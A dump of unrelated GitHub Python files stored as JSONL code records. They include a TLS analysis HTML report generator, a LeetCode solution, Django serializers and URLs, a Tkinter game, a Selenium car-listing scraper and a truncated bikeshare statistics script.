self.html_rmsd_plot()]\n\n        self.tls_segment_recombination()\n        \n        for tls in self.cpartition.iter_tls_segments():\n            ## don't write out bypass edges\n            if tls.method != \"TLS\":\n                continue\n            l.append(self.html_tls_fit_histogram(tls))\n        l.append(self.html_foot())\n        \n        open(self.index, \"w\").write(\"\".join(l))\n\n    def html_tls_group_table(self):\n        return html_tls_group_table(self.chain, self.cpartition, \"..\")\n\n    def html_translation_analysis(self):\n        \"\"\"Perform a translation analysis of the protein chain as\n        spanned by the tlsopt TLS groups.\n        \"\"\"\n        tanalysis = gnuplots.TranslationAnalysis(self.chain, self.cpartition)\n        l = ['<center>',\n             tanalysis.html_markup(\"Translation Analysis of T<sup>r</sup>\", captions.TRANSLATION_GRAPH_CAPTION),\n             '</center>']\n        return \"\".join(l)\n\n    def html_libration_analysis(self):\n        \"\"\"Perform a libration analysis of the protein chain as\n        spanned by the tlsopt TLS groups.\n        \"\"\"\n        libration_analysis = gnuplots.LibrationAnalysis(self.chain, self.cpartition)\n        l = ['<center>',\n             libration_analysis.html_markup(\"Screw Displacement Analysis\", captions.LIBRATION_GRAPH_CAPTION),\n             '</center>']\n        return \"\".join(l)\n\n    def html_ca_differance(self):\n        \"\"\"Perform a fit analysis of the protein chain as\n        spanned by the tlsopt TLS groups.\n        \"\"\"\n        plot = gnuplots.CA_TLS_Differance_Plot(self.chain, self.cpartition)\n        l = ['<center>',\n             plot.html_markup(\"Deviation of Observed CA Atom B-Factors From TLS Model\", captions.FIT_GRAPH_CAPTION),\n             '</center>']\n        return \"\".join(l)\n\n    def html_bmean(self):\n        \"\"\"Mean B-Factor per residue.\n        \"\"\"\n        self.bmean_plot = gnuplots.BMeanPlot(self.chain, self.cpartition)\n        l = ['<center>',\n             self.bmean_plot.html_markup(\"Mean BFactor Analysis\",\n                                         \"Comparison of TLS predicted B factors with experimental (input) B factors.\"),\n             '</center>']\n        return \"\".join(l)\n\n    def html_rmsd_plot(self):\n        rmsd_plot = gnuplots.RMSDPlot(self.chain, self.cpartition)\n        l = ['<center>',\n             rmsd_plot.html_markup(\"RMSD Deviation of Observed vs. TLS Predicted B Factors\", \"\"),\n             '</center>']\n        return \"\".join(l)\n\n    def html_tls_fit_histogram(self, tls):\n        \"\"\"histogram of atomic U_ISO - U_TLS_ISO\n        \"\"\"\n        his = gnuplots.UIso_vs_UtlsIso_Histogram(self.chain, self.cpartition, tls)\n        title = 'Distribution Histogram of TLS Group %s' % (tls.display_label())\n        l = ['<center>',\n             his.html_markup(title, \"\"),\n             '</center>']\n        return \"\".join(l)\n\n    def tls_segment_recombination(self):\n        if not hasattr(self.cpartition, \"rmsd_b_mtx\"):\n            return \"\"\n\n        rmatrix = self.cpartition.rmsd_b_mtx\n\n        tbl = table.StringTableFromMatrix(rmatrix)\n        filename = \"%s_CHAIN%s_NTLS%s_RECOMBINATION.txt\" % (\n            self.struct_id, self.chain_id, self.cpartition.num_tls_segments())\n        \n        open(filename, \"w\").write(str(tbl))\n\n        m, n = rmatrix.shape\n        tbl = table.StringTable(m + 1, n + 1, '<td></td>')\n        \n        ## label top and left table margins\n        for i, tls in enumerate(self.cpartition.iter_tls_segments()):\n            tbl[i + 1, 0] = '<td style=\"background-color:%s\">%s</td>' % (tls.color.rgbs, tls.display_label())\n            tbl[0, i + 1] = tbl[i + 1, 0]\n\n        ## recombination values\n\n        ## determine min/max values for coloring\n        min_rmsd_b = rmatrix[0, 0]\n        max_rmsd_b = rmatrix[0, 0]\n        for i in xrange(m):\n            for j in xrange(n):\n                min_rmsd_b = min(min_rmsd_b, rmatrix[i, j])\n                max_rmsd_b = max(max_rmsd_b, rmatrix[i, j])\n        b_range = max_rmsd_b - min_rmsd_b\n\n        for i in xrange(m):\n            for j in xrange(n):\n                scale = (rmatrix[i, j] - min_rmsd_b) / b_range\n                bright = 1.0 - (0.75 * scale)\n                rgbs = misc.rgb_f2s((bright, bright, bright))\n                tbl[i + 1, j + 1] = '<td style=\"background-color:%s;padding:5px;font-size:x-small\">%6.2f</td>' % (\n                    rgbs, rmatrix[i, j])\n\n        l = ['<table style=\"background-color:#bbbbff;border-width:thin;border-color:black;border-style:solid\">\\n']\n        for i in xrange(m + 1):\n            l.append('<tr>')\n            for j in xrange(n + 1):\n                l.append(tbl[i, j])\n            l.append('</tr>\\n')\n        l += ['</table>\\n']\n\n        l2 = ['<center>',\n              gnuplots.FormatFigureHTML(\"RMSD B Values of Combined TLS Groups\",\n                                        captions.TLS_GROUP_RECOMBINATION,\n                                        \"\".join(l)),\n              '</center>']\n        \n        return \"\".join(l2)\n","repo_name":"masci/mmLib","sub_path":"webtlsmd/tlsmdlib/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":49783,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"26828982858","text":"from typing import List\n\nclass Solution:\n    def searchRange(self, nums: List[int], target: int) -> List[int]:\n        index = self.binarySearch(nums, target, 0, len(nums) - 1)\n        #print(f'Index = {index}')\n        if index == -1:\n            return [-1, -1]\n        right_index = index\n        left_index = index\n        result = index\n        while result != -1:\n            result = self.binarySearch(nums, target, right_index + 1, len(nums) - 1)            \n            if result != -1:\n                right_index = result\n            #print(result)\n        #print(right_index)\n\n        result = index\n        while result != -1:\n            result = self.binarySearch(nums, target, 0, left_index - 1)            \n            if result != -1:\n                left_index = result\n            #print(result)\n        #print(left_index)\n\n        return [left_index, right_index]\n\n\n    def binarySearch(self, nums: List[int], target: int, low, high) -> int:\n        index = -1\n        while low <= high:\n            mid = int((low + high)/2)\n\n            if nums[mid] == target:\n                index = mid\n                break\n            elif nums[mid] < target:\n                low = mid + 1\n            else:\n                high = mid - 1\n\n        return index\n\nob = Solution()\nnums = [5,7,7,8,10]\ntarget = 8\nprint(ob.searchRange(nums, target))","repo_name":"RishabhKatiyar/CorePython","sub_path":"LeetCode/Problem34.py","file_name":"Problem34.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6687710010","text":"fname = input('enter file name: ')\nif len(fname) < 1 : fname = r'C:\\Users\\student\\Documents\\GitHub\\Computer-Science-Stuff\\py4e\\lesson_10\\intro.txt'\nhand = open(fname)\n\ndic = dict()\nfor line in hand:\n    line = line.rstrip()\n    words = line.split()\n    \n    for word in words:\n        # idiom: retrieve/create/update counter\n        dic[word] = dic.get(word,0)+1\n        # print(word, 'new', dic[word])\n\n# print the dic\nprint(dic)\n\n#now we want to gind the most common word\nlargest = -1\ntheWord = None\nfor key,value in dic.items():\n    if value > largest:\n        largest = value\n        theWord = key #capture the key that was largest\nprint('The highest word is:\\t',theWord, '\\t',\"with the value of:\", largest)\n","repo_name":"nangell18/Computer-Science-Stuff","sub_path":"py4e/lesson_10/final_ex_09.py","file_name":"final_ex_09.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19040658069","text":"class OAuthUser:\n    def __init__(self):\n        self.id = None\n        self.name = None\n        self.nickname = None\n        self.email = None\n        self.avatar = None\n        self.token = None\n        self.refresh_token = None\n        self.expires_in = None\n\n    def set_token(self, token):\n        self.token = token\n        return self\n\n    def set_refresh_token(self, token):\n        self.refresh_token = token\n        return self\n\n    def set_expires_in(self, expires_in):\n        self.expires_in = expires_in\n        return self\n\n    def build(self, raw_data):\n        self.id = raw_data.get(\"id\", None)\n        self.name = raw_data.get(\"name\", None)\n        self.nickname = raw_data.get(\"nickname\", None)\n        self.email = raw_data.get(\"email\", None)\n        self.avatar = raw_data.get(\"avatar\", None)\n        self.refresh_token = raw_data.get(\"refresh_token\", None)\n        self.expires_in = raw_data.get(\"expires_in\", None)\n        return self\n","repo_name":"girardinsamuel/masonite-oauth2","sub_path":"src/masonite/oauth/OAuthUser.py","file_name":"OAuthUser.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"19269582604","text":"from django.urls import path\nfrom .views import (\n    RoomCreateView, \n    RoomUpdateView, \n    RoomListView, \n    RoomDetailView,\n    RoomDeleteView,\n    ManagerialSettingUpdateView\n)\n\nurlpatterns = [\n    path('create/', RoomCreateView.as_view(), name='room_create'),\n    path('<slug>/update/', RoomUpdateView.as_view(), name='room_update'),\n    path('all/', RoomListView.as_view(), name='room_list'),\n    path('<slug>/detail/', RoomDetailView.as_view(), name='room_detail'),\n    path('<slug>/delete/', RoomDeleteView.as_view(), name='room_delete'),\n    path('managerial/settings/update/', ManagerialSettingUpdateView.as_view(), name='managerial_setting')\n]\n","repo_name":"NumanIbnMazid/homesteer_web","sub_path":"rooms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71023752192","text":"import tkinter as tk\r\nimport random\r\n\r\n# Function to handle user choice and determine the winner\r\ndef play_game(player_choice):\r\n    choices = [\"Rock\", \"Paper\", \"Scissors\"]\r\n    computer_choice = random.choice(choices)\r\n\r\n    if player_choice == computer_choice:\r\n        result_label.config(text=\"It's a Tie!\")\r\n    elif (\r\n        (player_choice == \"Rock\" and computer_choice == \"Scissors\")\r\n        or (player_choice == \"Paper\" and computer_choice == \"Rock\")\r\n        or (player_choice == \"Scissors\" and computer_choice == \"Paper\")\r\n    ):\r\n        result_label.config(text=\"You Win!\")\r\n    else:\r\n        result_label.config(text=\"Computer Wins!\")\r\n\r\n# Create the main window\r\nroot = tk.Tk()\r\nroot.title(\"Rock, Paper, Scissors Game\")\r\n\r\n# Create a label for instructions\r\ninstructions_label = tk.Label(root, text=\"Select Rock, Paper, or Scissors:\")\r\ninstructions_label.pack()\r\n\r\n# Create buttons for player's choices\r\nrock_button = tk.Button(root, text=\"Rock\", command=lambda: play_game(\"Rock\"))\r\npaper_button = tk.Button(root, text=\"Paper\", command=lambda: play_game(\"Paper\"))\r\nscissors_button = tk.Button(root, text=\"Scissors\", command=lambda: play_game(\"Scissors\"))\r\n\r\nrock_button.pack()\r\npaper_button.pack()\r\nscissors_button.pack()\r\n\r\n# Create a label to display the game result\r\nresult_label = tk.Label(root, text=\"\")\r\nresult_label.pack()\r\n\r\n# Start the Tkinter event loop\r\nroot.mainloop()\r\n","repo_name":"Shariftex33/Python_GUI","sub_path":"49. Rock, Paper, Scissors Game.py","file_name":"49. Rock, Paper, Scissors Game.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4686767115","text":"# from Crawl_tool import Crawl_tool\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.common.exceptions import NoSuchElementException\nimport time\nimport csv\nimport re\nclass Crawl_tool:\n    def __init__(self):\n        #initial set up\n        self.driver = webdriver.Chrome() \n\n    def access(self,link):\n        # Access the website\n        self.driver.get(link)\n\n    def quit(self):\n        # Turn off the website\n        self.driver.quit()\n\nclass Crawl_link_tool(Crawl_tool):\n    def __init__(self):\n        super().__init__()\n\n\n    def input_brand_name(self,brand_name):\n        search_box = self.driver.find_element(By.CLASS_NAME,'text-input')\n        search_box.send_keys(brand_name)\n        search_box.send_keys(Keys.RETURN)\n    \n    def load_into_other_page(self,brand):\n        # locate the > icon \n        while True:\n            page = 1\n            # try:\n            next_icon = self.driver.find_element(By.XPATH,\\\n                    f'span.bbl.[url=\"https://bonbanh.com/oto/page,{page+1}?q={brand.lower()}\"]')\n            next_icon.click()\n            page += 1\n            # except:\n            #     print('next icon is not available')\n            #     break\n\n\nif __name__ == '__main__':\n    a = Crawl_link_tool()\n    a.access('https://bonbanh.com')\n    a.input_brand_name('Audi')\n    a.load_into_other_page('Audi')","repo_name":"dunp7/Predict-Used-Car","sub_path":"Crawling/bonbanhcom_crawl/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33980646378","text":"from PyQt5.QtCore import QTimer\nfrom PyQt5.QtCore import Qt\nfrom Model import Vector\n\n\nclass Presenter(object):\n    def __init__(self, demo_view, demo_model):\n        self.model = demo_model\n        self.view = demo_view\n\n        self.view.keySpacePressed.connect(self.start_game)\n        self.view.keyPressed.connect(self.model.test)\n        self.model.updateView.connect(self.view.update_field)\n        self.model.gameOverSignal.connect(self.stop_game)\n        self.view.show()\n\n    def start_game(self):\n        self.view.clear_display()\n        self.model.start_game()\n\n    def stop_game(self):\n        self.view.display_game_over()\n","repo_name":"mor1ins/Vibrodisplay","sub_path":"learn_alphabet/Presenter.py","file_name":"Presenter.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20988234204","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.all_locations, name='locations'),\n    path('add/', views.add_location, name='add_location'),\n    path('edit/<int:location_id>/', views.edit_location, name='edit_location'),\n    path(\n        'delete/<int:location_id>/',\n        views.delete_location,\n        name='delete_location'\n    ),\n]\n","repo_name":"Code-Institute-Submissions/EllieThurlwell-project-five_AprResub","sub_path":"locations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2224254949","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer, BrowsableAPIRenderer\nfrom rest_framework.versioning import QueryParameterVersioning,URLPathVersioning\nfrom rest_framework.pagination import LimitOffsetPagination,PageNumberPagination\nfrom django.db.models import Q\nfrom rest_framework import serializers\nfrom api import models\nimport json\nimport datetime\n\nclass StudentSerializers(serializers.Serializer):\n\n    id = serializers.IntegerField()\n    stu_id = serializers.CharField(max_length=20)\n    password = serializers.CharField( max_length=50)\n    name = serializers.CharField( max_length=20)\n    birthday = serializers.DateField()\n    IDnumber = serializers.CharField(source=\"IDnumber.idnumber\")\n    sex = serializers.CharField( max_length=5)\n    entrytime = serializers.DateField()\n    grade = serializers.CharField(source=\"grade.id\")\n    outlook = serializers.CharField(source=\"outlook.id\")\n    country_id = serializers.CharField(source=\"country.id\")\n    province_id = serializers.CharField(source=\"province.id\")\n    city_id = serializers.CharField(source=\"city.id\")\n    College_id = serializers.CharField(source=\"College.id\")\n    Major_id = serializers.CharField(source=\"Major.id\")\n    Class_id = serializers.CharField(source=\"Class.id\")\n    credit = serializers.FloatField()\n\n\nclass StudentlistSerializers(serializers.ModelSerializer):\n    #model序列化自定义外键字段\n    Class = serializers.CharField(source=\"Class.class_id\")\n    class Meta:\n        model = models.StudentInfo\n        fields = ('stu_id','name','sex','Class')\n\nclass RoomlistSerializers(serializers.ModelSerializer):\n    function = serializers.CharField(source=\"function.name\")\n    class Meta:\n        model = models.ClassRoom\n        fields = ('name','capacity','function')\n\n\nclass BuildinglistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Building\n        fields = ('id','name')\n\nclass FunctionlistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Function\n        fields = ('id','name')\n\n\nclass TeacherlistSerializers(serializers.ModelSerializer):\n    title = serializers.CharField(source=\"title.name\")\n    class Meta:\n        model = models.TeacherInfo\n        fields = ('tea_id','name','sex','title')\n\n\nclass College4tclistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.CollegeInfo4tc\n        fields = ('id','name')\n\nclass TeachertitlelistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Teacher_title\n        fields = ('id','name')\n\n\nclass CourselistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Course\n        fields = ('id','name')\n\nclass OutlooklistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Outlook\n        fields = ('id','name')\n\n\nclass TeacherInfoSerializers(serializers.ModelSerializer):\n    IDnumber = serializers.CharField(source=\"IDnumber.idnumber\")\n    college = serializers.CharField(source=\"college.name\")\n    outlook = serializers.CharField(source=\"outlook.name\")\n    title = serializers.CharField(source=\"title.name\")\n    country = serializers.CharField(source=\"country.atitle\")\n    province = serializers.CharField(source=\"province.atitle\")\n    city = serializers.CharField(source=\"city.atitle\")\n    course = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.TeacherInfo\n        fields = \"__all__\"\n\n    #多对多钩子函数序列化，必须以get_ + model表名作为方法名\n    def get_course(self, obj):\n        temp = []\n        for obj in obj.course.all():\n            temp.append(obj.name)\n        return temp\n\n\nclass CourselistSerializers4cou(serializers.ModelSerializer):\n    college = serializers.CharField(source=\"college.name\")\n    function = serializers.CharField(source=\"function.name\")\n    elective = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Course\n        fields = ('id','cou_id','name','classhour','college','function','elective')\n\n    #实现自定义返回(elective是布尔值，js无法回显布尔)\n    def get_elective(self, obj):\n        if obj.elective == False:\n            return \"否\"\n        else:\n            return \"是\"\n\n\nclass CourseinfoSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Course\n        fields = \"__all__\"\n\nclass BetyearlistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Betteryear\n        fields = \"__all__\"\n\n\nclass PreCourseidlistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Course\n        fields = ('id','cou_id')\n\nclass PreCoursenamelistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Course\n        fields = ('id','name')\n\n\n\nclass CollegelistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.CollegeInfo\n        fields = \"__all__\"\n\n\nclass MajorlistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.MajorInfo\n        fields = \"__all__\"\n\n\nclass ClasslistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.ClassInfo\n        fields = \"__all__\"\n\n\n\nclass StudentInfoSerializers(serializers.ModelSerializer):\n    IDnumber = serializers.CharField(source=\"IDnumber.idnumber\")\n    College = serializers.CharField(source=\"College.name\")\n    Major = serializers.CharField(source=\"Major.name\")\n    Class = serializers.CharField(source=\"Class.class_id\")\n    outlook = serializers.CharField(source=\"outlook.name\")\n    country = serializers.CharField(source=\"country.atitle\")\n    province = serializers.CharField(source=\"province.atitle\")\n    city = serializers.CharField(source=\"city.atitle\")\n\n\n    class Meta:\n        model = models.StudentInfo\n        fields = \"__all__\"\n\n\nclass RelationlistSerializers(serializers.ModelSerializer):\n    course = serializers.CharField(source=\"course.name\")\n    classroom = serializers.CharField(source=\"classroom.name\")\n    teacher = serializers.CharField(source=\"teacher.name\")\n    student = serializers.SerializerMethodField()\n    classtime = serializers.SerializerMethodField()\n    testtime = serializers.SerializerMethodField()\n    class Meta:\n        model = models.MainRelation\n        fields = \"__all__\"\n\n    #多对多钩子函数序列化，必须以get_ + model表名作为方法名\n    def get_classtime(self, obj):\n        temp = []\n        for obj in obj.classtime.all():\n            temp.append(obj.name)\n        return temp\n\n    def get_student(self, obj):\n        students = models.Student2Relation.objects.filter(relation = obj.id)\n        return str(students.count()) + \" / \" + str(obj.stuquantity)\n\n\n    def get_testtime(self, obj):\n        if obj.course.testtime:\n            return obj.course.testtime\n        else:\n            return \"尚未排考\"\n\n\n\nclass Relation4RoomlistSerializers(serializers.ModelSerializer):\n    course = serializers.CharField(source=\"course.name\")\n    teacher = serializers.CharField(source=\"teacher.name\")\n    classtime = serializers.SerializerMethodField()\n    class Meta:\n        model = models.MainRelation\n        fields = ('course','classtime','teacher')\n\n    def get_classtime(self, obj):\n        temp = []\n        for obj in obj.classtime.all():\n            temp.append(obj.id)\n        return temp\n\n\nclass ClassTimelistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.ClassTime\n        fields = \"__all__\"\n\n\nclass ClassRoomlistSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = models.ClassRoom\n        fields = ('id', 'name')\n\n\nclass Courseinfo4testSerializers(serializers.ModelSerializer):\n    college = serializers.CharField(source=\"college.name\")\n    function = serializers.CharField(source=\"function.name\")\n    testtime = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Course\n        fields = ('id','cou_id','name','classhour','college','function','testtime')\n\n    def get_testtime(self,obj):\n        print(obj.testtime)\n        return obj.testtime\n\n\nclass Relationlist4testSerializers(serializers.ModelSerializer):\n    course = serializers.CharField(source=\"course.name\")\n    classroom = serializers.CharField(source=\"classroom.name\")\n    teacher = serializers.CharField(source=\"teacher.name\")\n    student = serializers.SerializerMethodField()\n    classtime = serializers.SerializerMethodField()\n    testtime = serializers.SerializerMethodField()\n    class Meta:\n        model = models.MainRelation\n        fields = \"__all__\"\n\n    #多对多钩子函数序列化，必须以get_ + model表名作为方法名\n    def get_classtime(self, obj):\n        temp = []\n        for obj in obj.classtime.all():\n            temp.append(obj.name)\n        return temp\n\n    def get_student(self, obj):\n        students = models.Student2Relation.objects.filter(relation = obj.id)\n        return str(students.count()) + \" / \" + str(obj.stuquantity)\n\n\n    def get_testtime(self, obj):\n        if obj.course.testtime:\n            return obj.course.testtime + datetime.timedelta(days = 30)\n        else:\n            return \"尚未排考\"\n\n\nclass MessagelistSerializers(serializers.ModelSerializer):\n    messagetype = serializers.CharField(source=\"messagetype.name\")\n    finishtime = serializers.SerializerMethodField()\n    fromwho = serializers.SerializerMethodField()\n    towho = serializers.SerializerMethodField()\n    isFinished = serializers.SerializerMethodField()\n    \n    class Meta:\n        model = models.Message\n        fields = \"__all__\"\n\n    def get_finishtime(self, obj):\n        if obj.finishtime:\n            return obj.finishtime\n        else:\n            return \"-\"\n\n    def get_isFinished(self, obj):\n        if obj.isFinished:\n            return \"是\"\n        else:\n            return \"否\"\n\n    def get_fromwho(self, obj):\n        if obj.fromwho == \"student\":\n            return str(obj.student.stu_id) + \" \" + obj.student.name\n        elif obj.fromwho == \"teacher\":\n            return str(obj.teacher.tea_id) + \" \" + obj.teacher.name\n        else :\n            return \"管理员\"\n\n\n    def get_towho(self, obj):\n        if obj.towho == \"student\":\n            return str(obj.student.stu_id) + \" \" + obj.student.name\n        elif obj.towho == \"teacher\":\n            return str(obj.teacher.tea_id) + \" \" + obj.teacher.name\n        else :\n            return \"管理员\"","repo_name":"thirdxiaozhu/vue_django","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":10470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72436013951","text":"\nimport json\nimport os.path\n\nfrom better_etl.caches.cache import Cache\n\nclass PickledCache(Cache): # this is the most primitive way to persist a cache\n\n    def __init__(self):\n        super().__init__()\n        self._file_name = \".cache\"\n        if os.path.exists(self._file_name):\n            with open(self._file_name) as f:\n                content = f.read()\n                self._cache = json.loads(content)\n\n    def put(self, k, v):\n        super().put(k, v)\n        content = json.dumps(self._cache)\n        with open(self._file_name, \"w\") as f:\n            f.write(content)\n","repo_name":"danielnuriyev/better-etl","sub_path":"src/better_etl/caches/pickled_cache.py","file_name":"pickled_cache.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"23128234114","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 14 21:38:42 2018\r\n\r\n@author: vishal sangwan\r\n\"\"\"\r\nimport csv\r\nimport time\r\nimport datetime\r\n## Filenames\r\n\r\n\r\ndef get_day():\r\n    day = input(\"which day ?  monday write 1,  tuesday write 2 so on till 7\")\r\n    return day\r\n\r\n\r\ndef get_time_period():\r\n    '''Asks the user for a time period and returns the specified filter.\r\n\r\n    Args:\r\n        none.\r\n    Returns:\r\n        TODO: fill out return type and description (see get_city for an example)\r\n    '''\r\n    time_period = input('\\nWould you like to filter the data by month, day, or not at'\r\n                        ' all? Type \"none\" for no time filter.\\n')\r\n    \r\n    return time_period\r\n\r\n\r\n\r\ndef get_city():\r\n    '''Asks the user for a city and returns the filename for that city's bike share data.\r\n\r\n    Args:\r\n        none.\r\n    Returns:\r\n        (str) Filename for a city's bikeshare data.\r\n    '''\r\n    city = input('\\nHello! Let\\'s explore some US bikeshare data!\\n'\r\n                 'Would you like to see data for Chicago, New York, or Washington?\\n')\r\n    # TODO: handle raw input and complete function\r\n    if city.title() == \"Chicago\":\r\n        data = \"chicago\"\r\n    elif city.title() == \"New York\":\r\n        data = \"new_york_city\"\r\n    else:\r\n        data = \"washington\"\r\n        \r\n    return data\r\n    \r\ndef get_month():\r\n    month_input_raw = input('\\nWhich month? January, February, March, April, May, or June?\\n')\r\n    if month_input_raw == \"january\":\r\n        month_input = \"01\"\r\n    elif month_input_raw ==\"febuary\":\r\n        month_input = \"02\"\r\n    elif month_input_raw == \"march\":\r\n        month_input =\"03\"\r\n    elif month_input_raw == \"april\":\r\n        month_input =\"04\"\r\n    elif month_input_raw == \"may\":\r\n        month_input =\"05\"\r\n    else:\r\n        month_input = \"06\"\r\n    return month_input\r\n# what is the most popular month for start time\r\n\r\n#def popular_month(file)\r\n#file is the city for which most popular data is to be founded out\r\ndef popular_month(file):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n\r\n        best_month_dict =  {\"january\": 0,\"febuary\": 0,\"march\": 0, \"april\":0, \"may\": 0,\"june\":0}\r\n        most_rides = 0\r\n        best_month = \"\"\r\n        \r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            if month == \"01\":\r\n                best_month_dict[\"january\"] += 1\r\n            elif month == \"02\":\r\n                best_month_dict[\"febuary\"] += 1\r\n            elif month ==\"03\":\r\n                best_month_dict[\"march\"] += 1\r\n            elif month ==\"04\":\r\n                best_month_dict[\"april\"] += 1\r\n            elif month ==\"05\":\r\n                best_month_dict[\"may\"] += 1\r\n            elif month ==\"06\":\r\n                best_month_dict[\"june\"] += 1\r\n            \r\n        \r\n            \r\n        for i in best_month_dict:\r\n            while most_rides < best_month_dict[i]:\r\n                most_rides = best_month_dict[i]\r\n                best_month = i\r\n    \r\n    return best_month\r\n\r\n #What is the most popular hour of day for start time?\r\ndef popular_start_time(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        best_hour_dict = {\"00\":0,\"01\":0,\"02\":0,\"03\":0,\"04\":0,\"05\":0,\"06\":0,\"07\":0,\"08\":0,\"09\":0,\"10\":0,\"11\":0,\"12\":0,\"13\":0,\"14\":0,\"15\":0,\"16\":0,\"17\":0,\"18\":0,\"19\":0,\"20\":0,\"21\":0,\"22\":0,\"23\":0,\"24\":0}\r\n        popular_hour_count = 0\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            hour = datetime.datetime.strftime(dt_obj, \"%H\")\r\n            weekday = dt_obj.isoweekday()\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            \r\n            if the_month == month:\r\n               for i in best_hour_dict:\r\n                   if hour == i:\r\n                       best_hour_dict[i] +=1\r\n                 \r\n                   if popular_hour_count < best_hour_dict[i]:\r\n                       popular_hour_count = best_hour_dict[i]\r\n                       most_popular_hour = i\r\n            \r\n            if the_month == \"all\":\r\n               for i in best_hour_dict:\r\n                   if hour == i:\r\n                       best_hour_dict[i] +=1\r\n                 \r\n                   if popular_hour_count < best_hour_dict[i]:\r\n                       popular_hour_count = best_hour_dict[i]\r\n                       most_popular_hour = i\r\n            \r\n        popular_hour = most_popular_hour     \r\n    return popular_hour\r\n      \r\n           \r\n         \r\n         \r\n        \r\n             \r\n\r\n \r\n\r\ndef duration_stats(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n    # What is the total trip duration and average trip duration?\r\n    #file is city data\r\n    #the_month = month_input(input from user)\r\n    \r\n        total_count = 0\r\n        total_trip_duration = 0\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            \r\n            if the_month == month:\r\n                total_count += 1\r\n                trip = int(rows[\"Trip Duration\"])\r\n                \r\n                total_trip_duration += trip\r\n            \r\n            elif the_month == \"all\":\r\n                total_count += 1\r\n                trip = int(rows[\"Trip Duration\"])\r\n                total_trip_duration += trip\r\n                \r\n            \r\n                \r\n                \r\n    return total_trip_duration, total_count\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    # What is the most popular day of week for start time?\r\ndef most_popular_day_of_week(file, the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        weekday_dict = {\"monday\":0,\"tuesday\":0,\"wednesday\":0,\"thursday\":0,\"friday\":0,\"saturday\":0,\"sunday\":0}\r\n        popular_weekday = \"\"\r\n        count = 0\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            if month == the_month:\r\n                if weekday == 1:\r\n                    weekday_dict[\"monday\"] += 1\r\n                elif weekday == 2:\r\n                    weekday_dict[\"tuesday\"] += 